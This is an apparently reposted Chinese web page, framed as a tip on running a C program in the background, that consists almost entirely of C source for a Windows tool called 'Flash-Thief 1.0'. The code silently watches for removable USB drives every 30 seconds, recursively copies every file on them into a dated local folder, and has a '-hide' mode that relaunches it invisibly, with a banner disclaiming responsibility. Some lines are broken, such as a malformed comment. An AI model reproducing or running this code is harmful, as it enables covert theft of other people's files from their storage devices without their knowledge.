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怎么让一个C程序后台运行

时间:2011-03-24 14:23来源:知行网www.penoybetterlife.com 编辑:麦田守望者

#include "windows.h"
#include "stdio.h"
#include "string.h"
#include "direct.h"
char dir[260];

void Copy( char* FileName )
{
char dir2[260];
strcpy( dir2 , dir );
//从全路径提取出文件名
char* temp = strchr(FileName,'\\');
temp++;
strcat(dir2 , temp );
CopyFile( FileName , dir2 , 1 );
}
void CreateDir( char * path )
{
char temp2[260];strcpy( temp2 , dir );
char* temp = strchr( path , '\\');
temp++;
strcat(temp2 , temp );
mkdir( temp2 );
}

void GetFile( char* FilePath )
{
char temp[260],temp1[260];
strcpy( temp ,FilePath );
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
strcat( temp , "*");
//printf("%s",temp);
hFind = FindFirstFile( temp , &FindFileData );
//printf("%s\n",FindFileData.cFileName );
if ( hFind == INVALID_HANDLE_VALUE )
{
//printf ("Invalid File Handle. GetLastError reports %d\n", GetLastError ());
//exit(0);
}
else
{
//printf("%s",temp1);
do
{
strcpy( temp1 , FilePath );
strcat( temp1 , FindFileData.cFileName );
if(strcmp( FindFileData.cFileName , "." )!=0&&strcmp( FindFileData.cFileName , ".." )!=0)
{
if( FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY )
{
strcat( temp1 , "\\" );
CreateDir( temp1 );
GetFile( temp1 );
}
else
{
//printf("%s\n",temp1 );
Copy( temp1 );
}
}
}while( FindNextFile( hFind,&FindFileData ) );
}
FindClose(hFind);
}

int CheckDisk(char *disk)
{
if(GetDriveType(disk)==DRIVE_REMOVABLE)return 0;
return -1;
}
int Steal()
{
char buf[10];
DWORD lod=GetLogicalDrives();

if (lod!=0)
{
for (int i=0;i<26;i++)
{
if ((lod & 1)==1)
{
sprintf(buf,"%c",'A'+i);
strcat(buf,":\\");
if(!CheckDisk(buf))
{
//现在判断驱动是否准备就绪~
if(GetVolumeInformation(buf,0,0,0,0,0,0,0))
{

GetFile(buf);/ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
//GetFile("j:\\a\\");
}

}
}
lod=lod>>1;
}
}
return 0;
}


int main(int argc, char* argv[])
{
SYSTEMTIME st;
char dtime[20],temp[10];
GetLocalTime( &st );
itoa( st.wYear ,temp , 10 );
strcpy( dtime , temp );
itoa( st.wMonth ,temp , 10 );
strcat( dtime , temp );
itoa( st.wDay ,temp , 10 );
strcat( dtime , temp );
mkdir( dtime );
getcwd( dir , 260 );
strcat( dir , "\\");
strcat( dir , dtime );
strcat( dir , "\\" );
if(argc!=2)
{
printf("\n Flash-Thief 1.0 by lake2 ( http://lake2.126.com ) \n");
printf("Date: \t2005-5-28\n");
printf("You can quit this program with Ctrl + C \nand you can run it in hide mode with \'-hide\' \n");
printf("It's nothing with me whatever you do ! \n");
printf("Running.......\n");
while(1)
{
Steal();
Sleep(30000);
}
}
else
{
if(strcmp( argv[1] , "-hide" )==1){printf("It's nothing with me whatever you do ! \n");ShellExecute( 0, "open", argv[0], NULL, NULL, SW_HIDE );}
else
printf("Parameter %s is invalid",argv[1]);
}
return 0;
}

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标签(Tag):C程序
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